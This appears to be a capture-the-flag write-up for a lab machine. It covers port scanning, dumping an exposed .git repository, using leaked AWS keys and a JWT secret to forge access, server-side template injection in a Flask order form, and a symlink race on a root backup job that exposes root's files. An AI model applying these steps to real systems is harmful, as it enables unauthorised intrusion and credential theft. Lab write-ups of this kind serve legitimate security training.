$ nmap -p- --min-rate 5000 10.129.96.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:29 EST
Nmap scan report for 10.129.96.151
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
Port 80 leads to a deadend, so we can visit port 5000 instead. I did a detailed nmap scan to further check what was present, and found a .git repository on port 80.
$ sudo nmap -p 22,80,5000 -sC -sV -O -T4 10.129.96.151
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:32 EST
Nmap scan report for 10.129.96.151
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
| http-git:
| 10.129.96.151:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Port 5000
Port 5000 presented a login page with some cool art:
This was a Werkzeug application, which indicates it might be running Flask. The login function presented nothing of interest.
Gitdumper
I used git-dumper to download all the files from this repository.
git_dumper.pyhttp://10.129.86.151/.git.
This downloaded 2 files, a server.py and a track_api_CR_148.py. It was in the track script that I found this:
So there's a hidden host present there. To dig deeper, we can read the logs of this repository to hopefully find the secret keys that have been removed. Reading the logs helped me find these tokens:
Now, we have some secret keys and some additional information. Searching about how to interact with this AWS instance using a CLI brought this resource up:
We would have to install awscli on our machine and configure it to use the tokens and stuff found in the .git repository. This page was helpful in learning how to enumerate such machines.
Once we have it running, we can set up a new profile:
$ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]:
Then we can find out the functions that we have access to.
It appears we have access to some function called costume_shop_v1, which is probably the service running on port 80. We can enumerate further via get-function.
When we visit that Location URL, we will download a lambda_archive.zip file. Within the zip file was a Python script that contained this:
import jsonsecret='RrXCv`mrNe!K!4+5`wYq'#apigateway authorization for CR-124'''Beta release for tracking'''deflambda_handler(event,context):try:id=event['queryStringParameters']['order_id']ifid:return{'statusCode':200,'body': json.dumps(str(resp))#dynamodb tracking for CR-342}else:return{'statusCode':500,'body': json.dumps('Invalid Order ID')}except:return{'statusCode':500,'body': json.dumps('Invalid Order ID')}
I didn't really know what the code was doing, but I do know that the secret parameter is probably what we need to forge a token to gain access as the user. Within the git repository earlier, we can see there's an auth JWT token being accepted.
With this secret, we can forge a cookie easily. I used jwt.io to create a token easily.
Afterwards, when trying to visit the webpage, we are granted access.
SSTI
When reading the source code for the application, we can find the /order endpoint function:
@app.route('/order',methods=["GET","POST"])deforder():ifverify_jwt(request.cookies.get('auth'),secret):if request.method=="POST": costume=request.form["costume"] message =''' Your order of "{}" has been placed successfully. '''.format(costume) tmpl=render_template_string(message,costume=costume)returnrender_template('order.html',message=tmpl)else:returnrender_template('order.html')else:returnredirect('/',code=302)
It seems that this uses render_template to process the order that has been placed. This function is vulnerable to SSTI. We can view the post request in Burpsuite:
POST /order HTTP/1.1Host:10.129.96.151:5000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:32Origin:http://10.129.96.151:5000Connection:closeReferer:http://10.129.96.151:5000/orderCookie:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.SYLPqHmtbgIzpOiaVnKoifTOeTuOBMPy5adK8v0DD6EUpgrade-Insecure-Requests:1costume=goggles&q=test&addr=test
A quick test reveals the costume parameter to be the injection point using {{config.items()}}.
Here's a payload I used that got me a reverse shell:
We can echo our public key into the ~/.ssh/authorized_keys folder, then run chmod 600 authorized_keys and chmod 700 .ssh to upgrade our shell and SSH in as the user.
I ran a pspy64 on the machine tos ee if there were any exploitable cron jobs running. Here are a few:
The weird part about this script is the /opt/backups/checksum file and the sleep 5 in between, almost as if it's to give us time to execute something. Upon checking my permissions, it seems that I am able to create files within the /opt/backups folder.
One possible exploit is to replace the file with a symlink to another file. In this machine's case, we can replace the checksum file with a symlink to the /root folder.
We just need to create a bash loop to wait for this file to pop up and execute some arbitrary commands. I just did rm -f checksum; ln -s /root checksum a bunch of times until it worked. When viewing the /var/backups/web_backups directory, we wouuld find one .tar file larger than the rest:
tom@epsilon:/var/backups/web_backups$ ls -la
total 80428
drwxr-xr-x 2 root root 4096 Mar 7 16:57 .
drwxr-xr-x 3 root root 4096 Mar 7 15:57 ..
-rw-r--r-- 1 root root 1003520 Mar 7 16:55 275431893.tar
-rw-r--r-- 1 root root 1003520 Mar 7 16:56 304784060.tar
-rw-r--r-- 1 root root 80343040 Mar 7 16:57 334180138.tar
When we open the file, there would be a checksum directory:
tom@epsilon:~/opt/backups$ ls -la
total 988
drwxrwxr-x 4 tom tom 4096 Mar 7 16:59 .
drwxrwxr-x 3 tom tom 4096 Mar 7 16:58 ..
-rw-r--r-- 1 tom tom 993280 Mar 7 16:57 320422014.tar
drwx------ 9 tom tom 4096 Mar 7 15:29 checksum
drwxrwxr-x 3 tom tom 4096 Mar 7 16:59 var
And within that directory is the /root directory with private SSH keys.
tom@epsilon:~/opt/backups/checksum$ ls -la
total 60
drwx------ 9 tom tom 4096 Mar 7 15:29 .
drwxrwxr-x 4 tom tom 4096 Mar 7 16:59 ..
drwxr-xr-x 2 tom tom 4096 Dec 20 2021 .aws
-rw-r--r-- 1 tom tom 3106 Dec 5 2019 .bashrc
drwx------ 4 tom tom 4096 Dec 20 2021 .cache
drwxr-xr-x 3 tom tom 4096 Dec 20 2021 .config
-rw-r--r-- 1 tom tom 356 Nov 17 2021 docker-compose.yml
-rw-r--r-- 1 tom tom 33 Nov 17 2021 .gitconfig
-rwxr-xr-x 1 tom tom 453 Nov 17 2021 lambda.sh
drwxr-xr-x 3 tom tom 4096 Dec 20 2021 .local
drwxr-xr-x 39 tom tom 4096 Mar 7 15:28 .localstack
-rw-r--r-- 1 tom tom 161 Dec 5 2019 .profile
-rw-r----- 1 tom tom 33 Mar 7 15:29 root.txt
drwxr-xr-x 2 tom tom 4096 Dec 20 2021 src
drwx------ 2 tom tom 4096 Dec 20 2021 .ssh